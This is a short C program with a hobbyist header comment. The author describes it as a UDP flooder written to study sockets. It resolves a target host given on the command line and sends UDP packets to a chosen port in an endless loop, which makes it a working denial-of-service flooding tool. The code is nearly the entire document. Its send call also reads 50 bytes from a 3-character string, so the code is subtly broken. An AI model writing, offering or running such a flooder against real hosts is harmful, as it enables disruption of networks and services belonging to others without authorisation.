/*
GarageCode coolest things Hehehe
http://GarageCode.tk

*Function this programm
this is a UDP flooder,i make it to study  Sockets

*tested with GCC 
 i wheel on Unix/Linux/BSD this:
    gcc -o program program.c; ./program host port

Author: "Cooler_"  
contact: tony.unix@yahoo.com.br or c00f3r@gmail.com
license: GPL2

visit this site: http://BotecoUnix.com.br
Real Geeks BotecoUnix

greetz 
Thanks _mlk_ , m0nad,IAK,Fox,edenc,D3lf0,zepplin and f0kerdebug.

            ,;~;,                           
                /\_                                                    
               (  /                               
               (()|     //)                     
               | \\  ,,;;'\             GAME OVER
           __ _(  )m=(((((((((((((================--------
         /'  ' '()/~' '.(, |
      ,;(      )||     |  ~             
     ,;' \    /-(.;,   ))            
          ) / /     ) //   
         //  \\     |||   
        )_\   )_\   )_\\  

      
*/

#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "netdb.h"
#include "stdarg.h"
#include "sys/param.h"
#include "sys/socket.h"
#include "netinet/in.h"

#define STRING "ola"
#define SIZE 50

int conecta(char *, short);

int conecta(char *server, short port) {
   struct sockaddr_in sin;
   struct hostent *host;
   int sock;
   host = gethostbyname(server);
   if (host==NULL) {
      printf(" host: %s invalido\n",server);
      exit(0);
   }
   printf("  --> pacotando %s:%d\n ", server, port);
// setamos tudo para zero velho clichê blabla
   bzero((char*) &sin,sizeof(sin));
   bcopy(host->h_addr, (char *) &sin.sin_addr, host->h_length);
   sin.sin_family = host->h_addrtype;
   sin.sin_port = htons(port);
// olhe nosso dgram
   sock = socket(AF_INET, SOCK_DGRAM, 0);
   connect(sock,(struct sockaddr *) &sin, sizeof(sin));
   return sock;
}

main(int argc, char **argv) {
   int var;
   if(argc != 3) {
      fprintf(stderr, "\nUDP Flooder by Cooler_\nSiga o exemplo: %s host port\n",argv[0]);
      exit(0);
   }
   var=conecta(argv[1], atoi(argv[2]));
//loop infinito
   for(;;) {
// passamos a palavra a floodar e o seu tamanho
      send(var, STRING, SIZE, 0);
   }
}